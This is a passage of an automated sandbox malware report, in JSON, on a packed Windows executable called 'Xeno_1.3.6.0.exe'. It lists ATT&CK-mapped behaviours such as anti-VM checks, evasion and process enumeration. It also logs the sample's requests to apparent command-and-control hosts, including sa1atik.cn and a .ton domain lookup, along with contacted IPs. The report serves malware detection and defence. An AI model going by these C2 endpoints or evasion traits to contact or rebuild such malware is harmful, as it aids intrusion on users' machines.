languages","description":"\"Xeno_1.3.6.0.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"Xeno_1.3.6.0.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")\n \"Xeno_1.3.6.0.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"Xeno_1.3.6.0.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"Xeno_1.3.6.0.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$37","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a web server","description":"\"GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1\nHost: tonapi.io\nUser-Agent: Go-http-client/1.1\nContent-Type: application/octet-stream\nAccept-Encoding: gzip\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"Xeno_1.3.6.0.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"Xeno_1.3.6.0.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"Xeno_1.3.6.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"Xeno_1.3.6.0.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$38","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"Xeno_1.3.6.0.exe\" queries basic process information of the \"C:\\Xeno_1.3.6.0.exe\" (UID: 3500)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$39","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"Xeno_1.3.6.0.exe\" reads file \"c:\\windows\\syswow64\\wbem\\wbemdisp.tlb\"\n \"Xeno_1.3.6.0.exe\" reads file \"c:\\windows\\syswow64\\stdole2.tlb\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"Xeno_1.3.6.0.exe\" trying to touch file \"C:\\Windows\\System32\\WOW64LOG.DLL\"\n \"Xeno_1.3.6.0.exe\" trying to touch file \"C:\\WINDOWS\\system32\\wow64log.dll\"\n \"Xeno_1.3.6.0.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\apphelp.dll\"\n \"Xeno_1.3.6.0.exe\" trying to touch file \"C:\\WINDOWS\\SysWOW64\\apphelp.dll\"\n \"Xeno_1.3.6.0.exe\" trying to touch file \"C:\\Xeno_1.3.6.0.exe\"\n \"Xeno_1.3.6.0.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ntdll.dll\"\n \"Xeno_1.3.6.0.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\kernel32.dll\"\n \"Xeno_1.3.6.0.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\KernelBase.dll\"\n \"Xeno_1.3.6.0.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$3a","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"Xeno_1.3.6.0.exe\" trying to access non-existent file \"C:\\9CD0B5D5-43DE-AFE2-DF73-7E084977D543\"\n \"Xeno_1.3.6.0.exe\" trying to access non-existent file \"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}\"\n \"Xeno_1.3.6.0.exe\" trying to access non-existent file \"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}\"\n \"Xeno_1.3.6.0.exe\" trying to access non-existent file \"\\Device\\RasAcd\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: \"00000000-00003500-00000C2C-1560801028\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00003500-00000C2C-1560952245\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /sa1at/\"\n Found http requests in header \"GET /v2/dns/remoteadministratortool.ton/resolve\"\n Found http requests in header \"POST /route/1/mainnet/toncenter-api-v2/runGetMethod\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00003500-00000C2C-1560676249\")\n Found reference to API \"WSARecvFrom\" (Indicator: \"WSARecv\"; Source: \"00000000-00003500-00000C2C-1561404529\")\n Found reference to API \"WSASendTo\" (Indicator: \"WSASend\"; Source: \"00000000-00003500-00000C2C-1561433778\")\n Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00003500-00000C2C-1604067003\")\n Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00003500-00000C2C-1604067272\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00003500-00000C2C-1560676249\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"192.168.0.2\"\n \"92.168.0.1\"\n \"2.5.29.10\"\n \"2.5.29.15\"\n \"2.5.29.14\"\n \"2.5.29.1\"\n \"2.5.29.17\"\n \"2.5.29.31\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.29.32\"\n \"2.5.29.19\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.4.3\"\n \"2.5.29.16\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$3c","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /sa1at/ HTTP/1.1\nHost: sa1atik.cn\nUser-Agent: Go-http-client/1.1\nContent-Length: 354\nContent-Type: application/octet-stream\nAccept-Encoding: gzip\n\n GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1\nHost: tonapi.io\nUser-Agent: Go-http-client/1.1\nContent-Type: application/octet-stream\nAccept-Encoding: gzip\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"cloudflare-dns.com\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 1fc1c530fdab845a0a2b05d0b5335bcb\n Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c\n Observed JA3 fingerprint: 8e6e5e26c545781f412f07aaaef7d20a","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"sa1atik.cn\" (7 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://sa1atik.cn/sa1at/\n Found HTTPS GET request to https://tonapi.io/v2/dns/remoteadministratortool.ton/resolve\n Found HTTPS POST request to https://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/runGetMethod","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"sa1atik.cn\" (89 days old)\n Short term registered certificate: \"tonapi.io\" (90 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"176.12.71.122\" on port \"443\"\n HTTPS traffic to \"104.21.83.70\" on port \"443\"\n HTTPS traffic to \"152.53.49.102\" on port \"443\"\n HTTPS traffic to \"1.1.1.1\" on port \"443\"\n HTTPS traffic to \"104.20.29.41\" on port \"443\"\n HTTPS traffic to \"167.82.50.132\" on port \"443\"\n HTTPS traffic to \"104.16.248.249\" on port \"443\"\n HTTPS traffic to \"168.222.202.171\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE10FA72D81891DEB7DA02DD41A141]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00003500.00000000.164415.00810000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00003500.00000000.164415.00810000.00000004.mdmp, 00000000-00003500.00000001.166333.00843000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLEA1BFA93A5092AC6ADA6357995011]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00003500.00000000.164415.00810000.00000004.mdmp\")\n Found string \"B+ncalrpc:[OLEA1BFA93A5092AC6ADA6357995011]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00003500.00000000.164415.00810000.00000004.mdmp, 00000000-00003500.00000002.168253.00810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00003500.00000000.164415.00810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"Xeno_1.3.6.0.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"Xeno_1.3.6.0.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"2\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"Xeno_1.3.6.0.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"Xeno_1.3.6.0.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"3\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetEnvironmentStringsW\" (Indicator: \"GetEnvironmentStrings\"; File: \"Xeno_1.3.6.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query network adapter information (API string)","description":"Found reference to API \"1979022,5544,3185,,GetAdaptersAddresses,Iphlpapi.dll,\"00:43:16.750\",RX=0,PX=0\" (Indicator: \"GetAdaptersAddresses\"; Source: \"00000000-00003500.00000001.166333.00843000.00000004.mdmp\")\n Found reference to API \"94389124,5544,3185,,GetAdaptersAddresses,Iphlpapi.dll,\"00:45:10.984\",RX=0,PX=0\" (Indicator: \"GetAdaptersAddresses\"; Source: \"00000000-00003500.00000003.173756.00810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-118","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"Xeno_1.3.6.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetSystemDirectoryA\" (Indicator: \"GetSystemDirectory\"; File: \"Xeno_1.3.6.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"select * from Win32_OperatingSystem\" (Indicator: \" Win32_OperatingSystem\"; Source: \"00000000-00003500.00000000.164415.00810000.00000004.mdmp\")\n Found string \"select TotalPhysicalMemory from Win32_ComputerSystem\" (Indicator: \" Win32_ComputerSystem\"; Source: \"00000000-00003500.00000001.166333.00843000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00003500.00000000.164415.00810000.00000004.mdmp, 00000000-00003500.00000001.166333.00810000.00000004.mdmp, 00000000-00003500.00000002.168253.00810000.00000004.mdmp, 00000000-00003500.00000003.173756.00810000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\Xeno_1.3.6.0.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00003500.00000000.164415.00810000.00000004.mdmp, 00000000-00003500.00000001.166333.00810000.00000004.mdmp, 00000000-00003500.00000002.168253.00810000.00000004.mdmp, 00000000-00003500.00000003.173756.00810000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume1\" (Indicator: \"\\Device\\\"; Source: \"00000000-00003500.00000001.166333.00843000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\" (Indicator: \"\\Device\\\"; Source: \"00000000-00003500.00000001.166333.00843000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: Xeno_1.3.6.0.exe\n Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: Xeno_1.3.6.0.exe","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"Xeno_1.3.6.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"Xeno_1.3.6.0.exe\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"Xeno_1.3.6.0.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"Xeno_1.3.6.0.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$3e","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"\"Xeno_1.3.6.0.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\LOCAL SETTINGS\\MUICACHE\\2FD\\52C64B7E\"; Key: \"LANGUAGELIST\"; Value: \"en-US\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00003500.00000002.168253.00810000.00000004.mdmp, 00000000-00003500.00000003.173756.00810000.00000004.mdmp, Indicator: \"key.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"Xeno_1.3.6.0.exe\" was detected as \"tElock v1.0 (private) -> tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"Xeno_1.3.6.0.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"File exhibits characteristics of junk code obfuscation","description":"Section \".text\" unusually large (5246661 bytes)\n possible junk padding\n Section \".rdata\" unusually large (6634312 bytes)\n possible junk padding\n Section \".symtab\" has very low entropy (0.02)\n indicating potential NOP sled","origin":"Static Parser","mitre_attack_id":"T1027.016","relevance":3,"id":"static-9001","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"PE file has no resource directory","description":"\"Xeno_1.3.6.0.exe\" has no resource directory","origin":"Static Parser","mitre_attack_id":"T1027.008","relevance":7,"id":"static-9002","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Calls an API typically used to import asymmetric cryptographic keys into a CSP","description":"\"Xeno_1.3.6.0.exe\" called \"BCryptImportKeyPair\" with parameters {\"hAlgorithm\": \"84aa88\"\n \"pszBlobType\": \"RSAPUBLICBLOB\"\n \"phKey\": \"b0b48a00486b8b00\"\n \"pbInput\": \"RSA1\"\n \"cbInput\": \"291\"\n \"dwFlags\": \"0\"}\n \"Xeno_1.3.6.0.exe\" called \"BCryptImportKeyPair\" with parameters {\"hAlgorithm\": \"84adf8\"\n \"pszBlobType\": \"RSAPUBLICBLOB\"\n \"phKey\": \"f0b48a007f3309fa\"\n \"pbInput\": \"RSA1\"\n \"cbInput\": \"283\"\n \"dwFlags\": \"0\"}\n \"Xeno_1.3.6.0.exe\" called \"BCryptImportKeyPair\" with parameters {\"hAlgorithm\": \"84adf8\"\n \"pszBlobType\": \"RSAPUBLICBLOB\"\n \"phKey\": \"f0b48a00cf3c09fa\"\n \"pbInput\": \"RSA1\"\n \"cbInput\": \"283\"\n \"dwFlags\": \"0\"}","origin":"API Call","mitre_attack_id":"T1573.002","relevance":1,"id":"api-234","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"suspicious","category":"Environment Awareness","name":"May attempt to implement anti-virtualization techniques using MAC address detection","description":"\"-11F1-9C5A-00505691C5FD}\" (Indicator: \"005056\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":3,"id":"string-2","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"15/24 Antivirus vendors marked sample as malicious (62% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$40","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"suspicious","category":"General","name":"Sends UDP traffic","description":"\"UDP connection to 176.12.71.122\"\n \"UDP connection to 104.21.83.70\"\n \"UDP connection to 152.53.49.102\"\n \"UDP connection to 1.1.1.1\"\n \"UDP connection to 104.20.29.41\"","origin":"Network Traffic","mitre_attack_id":"T1095","relevance":1,"id":"network-5","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"UDP traffic to 176.12.71.122 on port 443\n UDP traffic to 104.21.83.70 on port 443\n UDP traffic to 152.53.49.102 on port 443\n UDP traffic to 1.1.1.1 on port 443\n UDP traffic to 104.20.29.41 on port 443\n TCP traffic to 167.82.50.132 on port 443 is sent without HTTP header\n TCP traffic to 104.16.248.249 on port 443 is sent without HTTP header\n TCP traffic to 168.222.202.171 on port 443 is sent without HTTP header\n TCP traffic to 104.20.29.41 on port 443 is sent without HTTP header\n TCP traffic to 152.53.49.102 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"WbemScripting.SWbemLocatorH\" (Indicator: \"wbemscripting.\"; in Source: \"00000000-00003500.00000000.164415.00810000.00000004.mdmp, 00000000-00003500.00000001.166333.00810000.00000004.mdmp\")\n Found string \"\\\\.\\root\\cimv2\" (Indicator: \"root\\cimv2\"; in Source: \"00000000-00003500.00000000.164415.00810000.00000004.mdmp, 00000000-00003500.00000001.166333.00843000.00000004.mdmp\")\n Found string \"\\.\\root\\cimv2\" (Indicator: \"root\\cimv2\"; in Source: \"00000000-00003500.00000000.164415.00810000.00000004.mdmp, 00000000-00003500.00000002.168253.00810000.00000004.mdmp, 00000000-00003500.00000003.173756.00810000.00000004.mdmp\")\n Found string \"root\\cimv2\" (Indicator: \"root\\cimv2\"; in Source: \"00000000-00003500.00000000.164415.00810000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6ab1e6da0c0f08657e06fbcd"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate process encountered in a system snapshot","description":"$41","origin":"API 